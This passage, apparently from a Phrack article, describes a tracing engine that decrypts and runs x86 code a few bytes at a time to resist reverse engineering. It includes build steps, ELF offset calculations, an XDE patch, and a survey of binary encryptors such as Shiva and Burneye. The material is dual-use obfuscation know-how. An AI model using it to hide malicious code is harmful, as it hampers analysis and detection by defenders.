  decryption context. See the example code for the test2 program: first
  the user-provided raw key is loaded into the decryption context and the
  address of the _context_ is given to the crypt_exec function.

o lo_addr, hi_addr: These are low and high addresses that are encrypted
  under the same key. This is to facilitate calling non-encrypted code
  from within encrypted code.

o F: pointer to the code which should be executed under the decryption
  engine. It can be an ordinary C function pointer. Since the tracing
  routine was written with 8-byte block ciphers in mind, the F function
  must be at least 8-byte aligned and its length must be a multiple of 8.
  This is easier to achieve (even with standard C) than it sounds. See the
  example below.

o ... become arguments to the called function.

crypt_exec arranges to function F to be called with the arguments provided in the varargs list. When crypt_exec returns, its return value is what the F returned. In short, the call

```
  x = crypt_exec(dfn, key, lo_addr, hi_addr, F, ...);
```

has exactly the same semantics as

```
  x = F(...);
```

would have, were F plain-text.

Currently, the code is tailored to use the XDE disassembler. Other disassemblers can be used, but the code which accesses results must be changed in few places (all references to the disbuf variable).

The crypt_exec routine provides a private stack of 4kB. If you use your own decryption routine and/or disassembler, take care not to consume too much stack space. If you want to enlarge the local stack, look for the local_stk label in the code.

__
#3 In the rest of this article I will call this interchangeably tracing
   or decryption routine. In fact, this is a tracing routine with added
   decryption.

----[3.2 - High-level description

The tracing routine maintains two contexts: the traced context and its own context. The context consists of 8 32-bit general-purpose registers and flags. Other registers are not modified by the routine. Both contexts are held on the private stack (that is also used for calling C).

The idea is to fetch, one at a time, instructions from the traced program and execute them natively. Intel instruction set has rather irregular encoding, so the XDE [5] disassembler engine is used to find both the real opcode and total instruction length. During experiments on FreeBSD (which uses LOCK- prefixed MOV instruction in its dynamic loader) I discovered a bug in XDE which is described and fixed below.

We maintain our own EIP in traced_eip, round it down to the next lower 8-byte boundary and then decrypt#4 24 bytes#5 into our own buffer. Then the disassembly takes place and the control is transferred to emulation routines via the opcode control table. All instructions, except control transfer, are executed natively (in traced context which is restored at appropriate time). After single instruction execution, the control is returned to our tracing routine.

In order to prevent losing control, the control transfer instructions#6 are emulated. The big problem was (until I solved it) emulating indirect

JMP and CALL instructions (which can appear with any kind of complex EA that i386 supports). The problem is solved by replacing the CALL/JMP instruction with MOV to register opcode, and modifying bits 3-5 (reg field) of modR/M byte to set the target register (this field holds the part of opcode in the CALL/JMP case). Then we let the processor to calculate the EA for us.

Of course, a means are needed to stop the encrypted execution and to enable encrypted code to call plaintext code:

1. On entering, the tracing engine pops the return address and its private arguments and then pushes the return address back to the traced stack. At that moment:
   - o The stack frame is good for executing a regular C function (F).
   - o The top of stack pointer (esp) is stored into end_esp.

2. When the tracing routine encounters a RET instruction it first checks the traced_esp. If it equals end_esp, it is a point where the F function would have ended. Therefore, we restore the traced context and do not emulate RET, but let it execute natively. This way the tracing routine loses control and normal instruction execution continues.

In order to allow encrypted code to call plaintext code, there are lo_addr and hi_addr parameters. These parameters determine the low and high boundary of encrypted code in memory. If the traced_eip falls out of [lo_addr, hi_addr) range, the decryption routine pointer is swapped with the pointer to a no-op "decryption" that just copies 8 bytes from source to destination. When the traced_eip again falls into that interval, the pointers are again swapped.

__
#4 The decryption routine is called indirectly for reasons described later.
#5 The number comes from worst-case considerations: if an instruction begins at a boundary that is 7 (mod 8), given maximum instruction length of 15 bytes, yields a total of 22 bytes = 3 blocks. The buffer has 32 bytes in order to accommodate an additional JMP indirect instruction after the traced instruction. The JMP jumps indirectly to place in the tracing routine where execution should continue.
#6 INT instructions are not considered as control transfer. After (if) the OS returns from the invoked trap, the program execution continues sequentially, the instruction right after INT. So there are no special measures that should be taken.

----[3.3 - Actual usage example

Given encrypted execution engine, how do we test it? For this purpose I have written a small utility named cryptfile that encrypts a portion of the executable file ($ is UNIX prompt):

```
$ gcc -c cast5.c
$ gcc cryptfile.c cast5.o -o cryptfile
$ ./cryptfile
USAGE: ./cryptfile <-e_-d> FILE KEY STARTOFF ENDOFF
KEY MUST be 32 hex digits (128 bits).
```

The parameters are as follows:

o -e,-d: one of these is MANDATORY and stands for encryption or decryption.

o FILE: the executable file to be encrypted.

o KEY: the encryption key. It must be given as 32 hex digits.

o STARTOFF, ENDOFF: the starting and ending offset in the file that should be encrypted. They must be a multiple of block size (8 bytes). If not,

  the file will be correctly encrypted, but the encrypted execution will
  not work correctly.

The whole package is tested on a simple program, test2.c. This program demonstrates that encrypted functions can call both encrypted and plaintext functions as well as return results. It also demonstrates that the engine works even when calling functions in shared libraries.

Now we build the encrypted execution engine:

```
$ gcc -c crypt_exec.S
$ cd xde101
$ gcc -c xde.c
$ cd ..
$ ld -r cast5.o crypt_exec.o xde101/xde.o -o crypt_monitor.o
```

I'm using patched XDE. The last step is to combine several relocatable object files in a single relocatable file for easier linking with other programs.

Then we proceed to build the test program. We must ensure that functions that we want to encrypt are aligned to 8 bytes. I'm specifying 16 , just in case. Therefore:

```
$ gcc -falign-functions=16 -g test2.c crypt_monitor.o -o test2
```

We want to encrypt functions f1 and f2. How do wemap from function names to offsets in the executable file? Fortunately, this can be simply done for ELF with the readelf utility (that's why I chose such an awkward way - I didn't want to bother with yet another ELF 'parser').

```
$ readelf -s test2

Symbol table '.dynsym' contains 23 entries:
 Num:    Value  Size Type    Bind   Vis      Ndx Name
   0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
   1: 08048484    57 FUNC    GLOBAL DEFAULT  UND printf
   2: 08050aa4     0 OBJECT  GLOBAL DEFAULT  ABS _DYNAMIC
   3: 08048494     0 FUNC    GLOBAL DEFAULT  UND memcpy
   4: 08050b98     4 OBJECT  GLOBAL DEFAULT   20 __stderrp
   5: 08048468     0 FUNC    GLOBAL DEFAULT    8 _init
   6: 08051c74     4 OBJECT  GLOBAL DEFAULT   20 environ
   7: 080484a4    52 FUNC    GLOBAL DEFAULT  UND fprintf
   8: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __deregister_frame..
   9: 0804fc00     4 OBJECT  GLOBAL DEFAULT   13 __progname
  10: 080484b4   172 FUNC    GLOBAL DEFAULT  UND sscanf
  11: 08050b98     0 NOTYPE  GLOBAL DEFAULT  ABS __bss_start
  12: 080484c4     0 FUNC    GLOBAL DEFAULT  UND memset
  13: 0804ca64     0 FUNC    GLOBAL DEFAULT   11 _fini
  14: 080484d4   337 FUNC    GLOBAL DEFAULT  UND atexit
  15: 080484e4   121 FUNC    GLOBAL DEFAULT  UND scanf
  16: 08050b98     0 NOTYPE  GLOBAL DEFAULT  ABS _edata
  17: 08050b68     0 OBJECT  GLOBAL DEFAULT  ABS _GLOBAL_OFFSET_TABLE_
  18: 08051c78     0 NOTYPE  GLOBAL DEFAULT  ABS _end
  19: 080484f4   101 FUNC    GLOBAL DEFAULT  UND exit
  20: 08048504     0 FUNC    GLOBAL DEFAULT  UND strlen
  21: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
  22: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __register_frame_info

Symbol table '.symtab' contains 145 entries:
 Num:    Value  Size Type    Bind   Vis      Ndx Name
  0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
  1: 080480f4     0 SECTION LOCAL  DEFAULT    1
  2: 08048110     0 SECTION LOCAL  DEFAULT    2
  3: 08048128     0 SECTION LOCAL  DEFAULT    3
  4: 080481d0     0 SECTION LOCAL  DEFAULT    4
  5: 08048340     0 SECTION LOCAL  DEFAULT    5
  6: 08048418     0 SECTION LOCAL  DEFAULT    6
  7: 08048420     0 SECTION LOCAL  DEFAULT    7
  8: 08048468     0 SECTION LOCAL  DEFAULT    8
```

```
  9: 08048474     0 SECTION LOCAL  DEFAULT    9
 10: 08048520     0 SECTION LOCAL  DEFAULT   10
 11: 0804ca64     0 SECTION LOCAL  DEFAULT   11
 12: 0804ca80     0 SECTION LOCAL  DEFAULT   12
 13: 0804fc00     0 SECTION LOCAL  DEFAULT   13
 14: 08050aa0     0 SECTION LOCAL  DEFAULT   14
 15: 08050aa4     0 SECTION LOCAL  DEFAULT   15
 16: 08050b54     0 SECTION LOCAL  DEFAULT   16
 17: 08050b5c     0 SECTION LOCAL  DEFAULT   17
 18: 08050b64     0 SECTION LOCAL  DEFAULT   18
 19: 08050b68     0 SECTION LOCAL  DEFAULT   19
 20: 08050b98     0 SECTION LOCAL  DEFAULT   20
 21: 00000000     0 SECTION LOCAL  DEFAULT   21
 22: 00000000     0 SECTION LOCAL  DEFAULT   22
 23: 00000000     0 SECTION LOCAL  DEFAULT   23
 24: 00000000     0 SECTION LOCAL  DEFAULT   24
 25: 00000000     0 SECTION LOCAL  DEFAULT   25
 26: 00000000     0 SECTION LOCAL  DEFAULT   26
 27: 00000000     0 SECTION LOCAL  DEFAULT   27
 28: 00000000     0 SECTION LOCAL  DEFAULT   28
 29: 00000000     0 SECTION LOCAL  DEFAULT   29
 30: 00000000     0 SECTION LOCAL  DEFAULT   30
 31: 00000000     0 SECTION LOCAL  DEFAULT   31
 32: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
 33: 08050b54     0 OBJECT  LOCAL  DEFAULT   16 __CTOR_LIST__
 34: 08050b5c     0 OBJECT  LOCAL  DEFAULT   17 __DTOR_LIST__
 35: 08050aa0     0 OBJECT  LOCAL  DEFAULT   14 __EH_FRAME_BEGIN__
 36: 08050b64     0 OBJECT  LOCAL  DEFAULT   18 __JCR_LIST__
 37: 0804fc08     0 OBJECT  LOCAL  DEFAULT   13 p.0
 38: 08050b9c     1 OBJECT  LOCAL  DEFAULT   20 completed.1
 39: 080485b0     0 FUNC    LOCAL  DEFAULT   10 __do_global_dtors_aux
 40: 08050ba0    24 OBJECT  LOCAL  DEFAULT   20 object.2
 41: 08048610     0 FUNC    LOCAL  DEFAULT   10 frame_dummy
 42: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
 43: 08050b58     0 OBJECT  LOCAL  DEFAULT   16 __CTOR_END__
 44: 08050b60     0 OBJECT  LOCAL  DEFAULT   17 __DTOR_END__
 45: 08050aa0     0 OBJECT  LOCAL  DEFAULT   14 __FRAME_END__
 46: 08050b64     0 OBJECT  LOCAL  DEFAULT   18 __JCR_END__
 47: 0804ca30     0 FUNC    LOCAL  DEFAULT   10 __do_global_ctors_aux
 48: 00000000     0 FILE    LOCAL  DEFAULT  ABS test2.c
 49: 08048660    75 FUNC    LOCAL  DEFAULT   10 f1
 50: 080486b0    58 FUNC    LOCAL  DEFAULT   10 f2
 51: 08050bb8    16 OBJECT  LOCAL  DEFAULT   20 key.0
 52: 080486f0   197 FUNC    LOCAL  DEFAULT   10 decode_hex_key
 53: 00000000     0 FILE    LOCAL  DEFAULT  ABS cast5.c
 54: 0804cba0  1024 OBJECT  LOCAL  DEFAULT   12 s1
 55: 0804cfa0  1024 OBJECT  LOCAL  DEFAULT   12 s2
 56: 0804d3a0  1024 OBJECT  LOCAL  DEFAULT   12 s3
 57: 0804d7a0  1024 OBJECT  LOCAL  DEFAULT   12 s4
 58: 0804dba0  1024 OBJECT  LOCAL  DEFAULT   12 s5
 59: 0804dfa0  1024 OBJECT  LOCALDEFAULT   12 s6
 60: 0804e3a0  1024 OBJECT  LOCAL  DEFAULT   12 s7
 61: 0804e7a0  1024 OBJECT  LOCAL  DEFAULT   12 sb8
 62: 0804a3c0  3734 FUNC    LOCAL  DEFAULT   10 key_schedule
 63: 0804b408     0 NOTYPE  LOCAL  DEFAULT   10 identity_decrypt
 64: 08051bf0     0 NOTYPE  LOCAL  DEFAULT   20 r_decrypt
 65: 08051be8     0 NOTYPE  LOCAL  DEFAULT   20 key
 66: 08050bd4     0 NOTYPE  LOCAL  DEFAULT   20 lo_addr
 67: 08050bd8     0 NOTYPE  LOCAL  DEFAULT   20 hi_addr
 68: 08050bcc     0 NOTYPE  LOCAL  DEFAULT   20 traced_eip
 69: 08050be0     0 NOTYPE  LOCAL  DEFAULT   20 end_esp
 70: 08050bd0     0 NOTYPE  LOCAL  DEFAULT   20 traced_ctr
 71: 0804b449     0 NOTYPE  LOCAL  DEFAULT   10 decryptloop
 72: 08050bc8     0 NOTYPE  LOCAL  DEFAULT   20 traced_esp
 73: 08051be4     0 NOTYPE  LOCAL  DEFAULT   20 stk_end
 74: 0804b456     0 NOTYPE  LOCAL  DEFAULT   10 decryptloop_nocontext
 75: 0804b476     0 NOTYPE  LOCAL  DEFAULT   10 .store_decrypt_ptr
 76: 08051bec     0 NOTYPE  LOCAL  DEFAULT   20 decrypt
 77: 0804fc35     0 NOTYPE  LOCAL  DEFAULT   13 insn
 78: 08051bf4     0 NOTYPE  LOCAL  DEFAULT   20 disbuf
```

```
 79: 08051be4      0 NOTYPE  LOCAL   DEFAULT   20 ilen
 80: 080501f0      0 NOTYPE  LOCAL   DEFAULT   13 continue
 81: 0804fdf0      0 NOTYPE  LOCAL   DEFAULT   13 control_table
 82: 0804fc20      0 NOTYPE  LOCAL   DEFAULT   13 _unhandled
 83: 0804fc21      0 NOTYPE  LOCAL   DEFAULT   13 _nonjump
 84: 0804fc33      0 NOTYPE  LOCAL   DEFAULT   13 .execute
 85: 0804fc55      0 NOTYPE  LOCAL   DEFAULT   13 _jcc_rel8
 86: 0804fc5e      0 NOTYPE  LOCAL   DEFAULT   13 _jcc_rel32
 87: 0804fc65      0 NOTYPE  LOCAL   DEFAULT   13 ._jcc_rel32_insn
 88: 0804fc71      0 NOTYPE  LOCAL   DEFAULT   13 ._jcc_rel32_true
 89: 0804fc6b      0 NOTYPE  LOCAL   DEFAULT   13 ._jcc_rel32_false
 90: 0804fc72      0 NOTYPE  LOCAL   DEFAULT   13 rel_offset_fixup
 91: 0804fc7d      0 NOTYPE  LOCAL   DEFAULT   13 _retn
 92: 0804fca6      0 NOTYPE  LOCAL   DEFAULT   13 ._endtrace
 93: 0804fcbe      0 NOTYPE  LOCAL   DEFAULT   13 _loopne
 94: 0804fce0      0 NOTYPE  LOCAL   DEFAULT   13 ._loop_insn
 95: 0804fcd7      0 NOTYPE  LOCAL   DEFAULT   13 ._doloop
 96: 0804fcc7      0 NOTYPE  LOCAL   DEFAULT   13 _loope
 97: 0804fcd0      0 NOTYPE  LOCAL   DEFAULT   13 _loop
 98: 0804fcec      0 NOTYPE  LOCAL   DEFAULT   13 ._loop_insn_true
 99: 0804fce2      0 NOTYPE  LOCAL   DEFAULT   13 ._loop_insn_false
100: 0804fcf6      0 NOTYPE  LOCAL   DEFAULT   13 _jcxz
101: 0804fd0a      0 NOTYPE  LOCAL   DEFAULT   13 _callrel
102: 0804fd0f      0 NOTYPE  LOCAL   DEFAULT   13 _call
103: 0804fd38      0 NOTYPE  LOCAL   DEFAULT   13 _jmp_rel8
104: 0804fd41      0 NOTYPE  LOCAL   DEFAULT   13 _jmp_rel32
105: 0804fd49      0 NOTYPE  LOCAL   DEFAULT   13 _grp5
106: 0804fda4      0 NOTYPE  LOCAL   DEFAULT   13 ._grp5_continue
107: 08050bdc      0 NOTYPE  LOCAL   DEFAULT   20 our_esp
108: 0804fdc9      0 NOTYPE  LOCAL   DEFAULT   13 ._grp5_call
109: 0804fdd0      0 NOTYPE  LOCAL   DEFAULT   13 _0xf
110: 08050be4      0 NOTYPE  LOCAL   DEFAULT   20 local_stk
111: 00000000      0 FILE    LOCAL   DEFAULT   ABS xde.c
112: 0804b419      0 NOTYPE  GLOBAL  DEFAULT   10 crypt_exec
113: 08048484     57 FUNC    GLOBAL  DEFAULT   UND printf
114: 08050aa4      0 OBJECT  GLOBAL  DEFAULT   ABS _DYNAMIC
115: 08048494      0 FUNC    GLOBAL  DEFAULT   UND memcpy
116: 0804b684   4662 FUNC    GLOBAL  DEFAULT   10 xde_disasm
117: 08050b98      4 OBJECT  GLOBAL  DEFAULT   20 __stderrp
118: 0804fc04      0 OBJECT  GLOBAL  HIDDEN    13 __dso_handle
119: 0804b504    384 FUNC    GLOBAL  DEFAULT   10 reg2xset
120: 08048468      0 FUNC    GLOBAL  DEFAULT    8 _init
121: 0804c8bc    364 FUNC    GLOBAL  DEFAULT   10 xde_asm
122: 08051c74      4 OBJECT   GLOBAL DEFAULT   20 environ
123: 080484a4     52 FUNC     GLOBAL DEFAULT   UND fprintf
124: 00000000      0 NOTYPE   WEAK   DEFAULT   UND __deregister_frame..
125: 0804fc00      4 OBJECT   GLOBAL DEFAULT   13 __progname
126: 08048520    141 FUNC     GLOBAL DEFAULT   10 _start
127: 0804b258    431 FUNC     GLOBAL DEFAULT   10 cast5_setkey
128: 080484b4    172 FUNC     GLOBAL DEFAULT   UND sscanf
129: 08050b98      0 NOTYPE   GLOBAL DEFAULT   ABS __bss_start
130: 080484c4      0 FUNC     GLOBAL DEFAULT   UND memset
131: 080487c0    318 FUNC     GLOBAL DEFAULT   10 main
132: 0804ca64      0 FUNC     GLOBAL DEFAULT   11 _fini
133: 080484d4    337 FUNC     GLOBAL DEFAULT   UND atexit
134: 080484e4    121 FUNC     GLOBAL DEFAULT   UND scanf
135: 08050200   2208 OBJECT   GLOBAL DEFAULT   13 xde_table
136: 08050b98      0 NOTYPE   GLOBAL DEFAULT   ABS _edata
137: 08050b68      0 OBJECT   GLOBAL DEFAULT   ABS _GLOBAL_OFFSET_TABLE_
138: 08051c78      0 NOTYPE   GLOBAL DEFAULT   ABS _end
139: 08049660   3421 FUNC     GLOBAL DEFAULT   10 cast5_decrypt
140: 080484f4    101 FUNC     GLOBAL DEFAULT   UND exit
141: 08048900   3421 FUNC     GLOBAL DEFAULT   10 cast5_encrypt
142: 08048504      0 FUNC     GLOBAL DEFAULT   UND strlen
143: 00000000      0 NOTYPE   WEAK   DEFAULT   UND _Jv_RegisterClasses
144: 00000000      0 NOTYPE   WEAK   DEFAULT   UND __register_frame_info
```

We see that function f1 has address 0x8048660 and size 75 = 0x4B. Function f2 has address 0x80486B0 and size 58 = 3A. Simple calculation shows that they are in fact consecutive in memory so we don’t have to

encrypt them separately but in a single block ranging from 0x8048660 to
0x80486F0.

```
$ readelf -l test2

Elf file type is EXEC (Executable file)
Entry point 0x8048520
There are 6 program headers, starting at offset 52

Program Headers:
Type            Offset    VirtAddr    PhysAddr    FileSiz MemSiz
Flg Align
PHDR           0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
INTERP         0x0000f4 0x080480f4 0x080480f4 0x00019 0x00019 R   0x1
    [Requesting program interpreter: /usr/libexec/ld-elf.so.1]
LOAD           0x000000 0x08048000 0x08048000 0x06bed 0x06bed R E 0x1000
LOAD           0x006c00 0x0804fc00 0x0804fc00 0x00f98 0x02078 RW  0x1000
DYNAMIC        0x007aa4 0x08050aa4 0x08050aa4 0x000b0 0x000b0 RW  0x4
NOTE           0x000110 0x08048110 0x08048110 0x00018 0x00018 R   0x4

 Section to Segment mapping:
Segment Sections...
 00
 01     .interp
 02     .interp .note.ABI-tag .hash .dynsym .dynstr .rel.dyn .rel.plt
         .init .plt .text .fini .rodata
 03     .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss
 04     .dynamic
 05     .note.ABI-tag
```

>From this we see that both addresses (0x8048660 and 0x80486F0) fall into the first LOAD segment which is loaded at VirtAddr 0x804800 and is placed at offset 0 in the file. Therefore, to map virtual address to file offset we simply subtract 0x8048000 from each address giving 0x660 = 1632 and 0x6F0 = 1776.

If you obtain ELFsh [7] then you can make your life much easier. The following transcript shows how ELFsh can be used to obtain the same information:

```
$ elfsh

       Welcome to The ELF shell 0.51b3 .::.

       .::. This software is under the General Public License
       .::. Please visit http://www.gnu.org to know about Free Software

[ELFsh-0.51b3]$ load test2

 [*] New object test2 loaded on Mon Jun 13 20:45:33 2005

[ELFsh-0.51b3]$ sym f1

 [SYMBOL TABLE]
 [Object test2]

 [059] 0x8048680   FUNCTION f1
 size:0000000075 foffset:001632 scope:Local   sctndx:10 => .text + 304

[ELFsh-0.51b3]$ sym f2

 [SYMBOL TABLE]
 [Object test2]

 [060] 0x80486d0   FUNCTION f2
 size:0000000058 foffset:001776 scope:Local   sctndx:10 => .text + 384

[ELFsh-0.51b3]$ exit

 [*] Unloading object 1 (test2) *
```

```
        Good bye ! .::. The ELF shell 0.51b3
```

The field foffset gives the symbol offset within the executable, while size is its size. Here all the numbers are decimal.

Now we are ready to encrypt a part of the executable with a very 'imaginative' password and then test the program:

```
$ echo -n "password" | openssl md5
5f4dcc3b5aa765d61d8327deb882cf99
$ ./cryptfile -e test2 5f4dcc3b5aa765d61d8327deb882cf99 1632 1776
$ chmod +x test2.crypt
$ ./test2.crypt
```

At the prompt enter the same hex string and then enter numbers 12 and 34 for a and b. The result must be 1662, and esp before and after must be the same.

Once you are sure that the program works correctly, you can strip(1) symbols from it.

----[3.4 - XDE bug

During the development, a I have found a bug in the XDE disassembler engine: it didn't correctly handle the LOCK (0xF0) prefix. Because of the bug XDE claimed that 0xF0 is a single-byte instruction. This is the needed patch to correct the disassembler:

```
--- xde.c       Sun Apr 11 02:52:30 2004
+++ xde_new.c   Mon Aug 23 08:49:00 2004
@@ -101,6 +101,8 @@
   if (c == 0xF0)
   {
     if (diza->p_lock != 0) flag |= C_BAD;      /* twice */
+       diza->p_lock = c;
+       continue;
   }

   break;
```

I also needed to remove __cdecl on functions, a 'feature' of Win32 C compilers not needed on UNIX platforms.

----[3.5 - Limitations

o XDE engine (probably) can't handle new instructions (SSE, MMX, etc.). For certain it can't handle 3dNow! because they begin with 0x0F 0x0F, a byte sequence for which the XDE claims is an invalid instruction encoding.

o The tracer shares the same memory with the traced program. If the traced program is so badly broken that it writes to (random) memory it doesn't own, it can stumble upon and overwrite portions of the tracing routine.

o Each form of tracing has its own speed impacts. I didn't measure how much this method slows down program execution (especially compared to ptrace()).

o Doesn't handle even all 386 instructions (most notably far calls/jumps and RET imm16). In this case the tracer stops with HLT which should cause GPF under any OS that runs user processes in rings other than 0.

o The block size of 8 bytes is hardcoded in many places in the program. The source (both C and ASM) should be parametrized by some kind of BLOCKSIZE #define.

o The tracing routine is not reentrant! Meaning, any code being executed
  by crypt_exec can't call again crypt_exec because it will overwrite its
  own context!

o The code itself isn't optimal:
    - identity_decrypt could use 4-byte moves.
    - More registers could be used to minimize memory references.

----[3.6 - Porting considerations

This is as heavy as it gets - there isn't a single piece of machine-independent code in the main routine that could be used on an another processor architecture. I believe that porting shouldn't be too difficult, mostly rewriting the mechanics of the current program. Some points to watch out for include:

o Be sure to handle all control flow instructions.

o Move instructions could affect processor flags.

o Write a disassembly routine. Most RISC architectures have regular
  instruction set and should be far easier to disassemble than x86 code.

o This is self-modifying code: flushing the instruction prefetch queue
  might be needed.

o Handle delayed jumps and loads if the architecture provides them. This
  could be tricky.

o You might need to get around page protections before calling the
  decryptor (non-executable data segments).

Due to unavailability of non-x86 hardware I wasn't able to implement the decryptor on another processor.

--[4 - Further ideas

o Better encryption scheme. ECB mode is bad, especially with
  small block size of 8 bytes. Possible alternative is the following:

    1. Round the traced_eip down to a multiple of 8 bytes.
    2. Encrypt the result with the key.
    3. Xor the result with the instruction bytes.

  That way the encryption depends on the location in memory. Decryption
  works the same way. However, it would complicate cryptfile.c program.

o Encrypted data. Devise a transparent (for the C programmer) way to
  access the encrypted data. At least two approaches come to mind:
  1) playing with page mappings and handling read/write faults,
  or 2) use XDE to decode all accesses to memory and perform encryption
  or decryption, depending on the type of access (read or write). The
  first approach seems too slow (many context switches per data read)
  to be practical.

o New instruction sets and architectures. Expand XDE to handle new x86
  instructions. Port the routine to architectures other than i386 (first
  comes to mind AMD64, then ARM, SPARC...).

o Perform decryption on the smart card. This is slow, but there is no
  danger of key compromise.

o Polymorphic decryption engine.

----[5 - Related Work

This section gives a brief overview of existing work, either because of similarity in coding techniques (ELFsh and tracing without ptrace) or because of the code protection aspect.

5.1 ELFsh

The ELFsh crew's article on elfsh and e2dbg [7], also in this Phrack issue. A common point in our work is the approach to program tracing without using ptrace(2). Their latest work is a scriptable embedded ELF debugger, e2dbg. They are also getting around PaX protections, an issue I didn't even take into account.

5.2 Shiva

The Shiva binary encryptor [8], released in binary-only form. It tries really hard to prevent reverse engineering by including features such as trap flag detection, ptrace() defense, demand-mapped blocks (so that fully decrpyted image can't be dumped via /proc), using int3 to emulate some instructions, and by encryption in layers. The 2nd, password protected layer, is optional and encrypted using 128-bit AES. Layer 3 encryption uses TEA, the tiny encryption algorithm.

According to the analysis in [9], "for sufficiently large programs, no more than 1/3 of the program will be decrypted at any given time". This is MUCH larger amount of decrypted program text than in my case: 24 bytes, independent of any external factors. Also, Shiva is heavily tied to the ELF format, while my method is not tied to any operating system or executable format (although the current code IS limited to the 32-bit x86 architecture).

5.3 Burneye

There are actually two tools released by team-teso: burneye and burneye2 (objobf) [10].

Burneye is a powerful binary encryption tool. Similarly to Shiva, it has three layers: 1) obfuscation, 2) password-based encryption using RC4 and SHA1 (for generating the key from passphrase), and 3) the fingerprinting layer.

The fingerprinting layer is the most interesting one: the data about the target system is collected (e.g. amount of memory, etc..) and made into a 'fingeprint'. The executable is encrypted taking the fingerprint into account so that the resulting binary can be run only on the host with the given fingerprint. There are two fingerprinting options:

o Fingeprint tolerance can be specified so that Small deviations are allowed. That way, for example, the memory can be upgraded on the target system and the executable will still work. If the number of differences in the fingeprint is too large, the program won't work.

o Seal: the program produced with this option will run on any system. However, the first time it is run, it creats a fingerprint of the host and 'seals' itself to that host. The original seal binary is securely deleted afterwards.

The encrypted binary can also be made to delete itself when a certain environment variable is set during the program execution.

objobf is just relocatable object obfuscator. There is no encryption layer. The input is an ordinary relocatable object and the output is transformed, obfuscated, and functionally equivalent code. Code transformations include: inserting junk instructions, randomizing the order of basic blocks, and splitting basic blocks at random points.

5.4 Conclusion

Highlights of the distinguishing features of the code encryption technique presented here:

- Very small amount of plaintext code in memory at any time - only 24 bytes. Other tools leave much more plain-text code in memory.

- No special loaders or executable format manipulations are needed. There is one simple utility that encrypts the existing code in-place. It is executable format-independent since its arguments are function offsets within the executable (which map to function addresses in runtime).

- The code is tied to the 32-bit x86 architecture, however it should be portable without changes to any operating system running on x86-32. Special arrangements for setting up page protections may be necessary if PaX or NX is in effect.

On the downside, the current version of the engine is very vulnerable with respect to reverse-engineering. It can be easily recognized by scanning for fixed sequences of instructions (the decryption routine). Once the decryptor is located, it is easy to monitor a few fixed memory addresses to obtain both the EIP and the original instruction residing at that EIP. The key material data is easy to obtain, but this is the case in ANY approach using in-memory keys.

However, the decryptor in its current form has one advantage: since it is ordinary code that does no special tricks, it should be easy to combine it with a tool that is more resilient to reverse-engineering, like Shiva or Burneye.

----[6 - References

1. Phrack magazine.
   http://www.phrack.org

2. ptrace tutorials:
   http://linuxgazette.net/issue81/sandeep.html
   http://linuxgazette.net/issue83/sandeep.html
   http://linuxgazette.net/issue85/sandeep.html

3. D. E. Knuth: The Art of Computer Programming, vol.1: Fundamental Algorithms.

4. Fenris.
   http://lcamtuf.coredump.cx/fenris/whatis.shtml

5. XDE.
   http://z0mbie.host.sk

6. Source code for described programs. The source I have written is released under MIT license. Other files have different licenses. The archive also contains a patched version of XDE.
   http://www.core-dump.com.hr/software/cryptexec.tar.gz

7. ELFsh, the ELF shell. A powerful program for manipulating ELF files.
   http://elfsh.devhell.org

8. Shiva binary encryptor.
   http://www.securereality.com.au

9. Reverse Engineering Shiva.

    http://blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/
     bh-fed-03-eagle.pdf

10. Burneye and Burneye2 (objobf).
    http://packetstormsecurity.org/groups/teso/indexsize.html

----[7 - Credits

Thanks go to mayhem who has reviewed this article. His suggestions were
very helpful, making the text much more mature than the original.

--[A - Appendix: Source code

Here I'm providing only my own source code. The complete source package can be obtained from [6]. It includes:

o All source listed here,
o the patched XDE disassembler, and
o the source of the CAST5 cryptographic algorithm.

----[A.1 - The tracer source: crypt_exec.S

```
/*
Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

.text

/************************************************************************
 * void *crypt_exec(
 *   decrypt_fn_ptr dfn, const void *key,
 *   const void *lo_addr, const void *hi_addr,
 *   const void *addr, ...)
 * typedef (*decrypt_fn_ptr)(
 *   void *key, unsigned char *dst, const unsigned char *src);
 *
 * - dfn is pointer to deccryption function
 * - key is pointer to crypt routine key data
 * - addr is the addres where execution should begin. due to the way the
 *   code is decrypted and executed, it MUST be aligned to 8 (BLOCKSIZE)
 *   bytes!!
 * - the rest are arguments to called function
 *
 * The crypt_exec stops when the stack pointer becomes equal to what it
 * was on entry, and executing 'ret' would cause the called function to
 * exit. This works assuming normal C compiled code.
 *
 * Returns the value the function would normally return.
```

```
 *
 * This code calls:
 * int xde_disasm(unsigned char *ip, struct xde_instr *outbuf);
 * XDE disassembler engine is compiled and used with PACKED structure!
 *
 * It is assumed that the encryption algorithm uses 64-bit block size.
 * Very good protection could be done if decryption is executed on the
 * SMART CARD.
 *
 * Some terminology:
 * 'Traced' refers to the original program being executed instruction by
 * instruction. The technique used resembles Knuth's tracing routine (and
 * indeed, we get true tracing when decryption is dropped).
 *
 * 'Our' refers to our data stack, etc.
 *
 * TODOs and limitations:
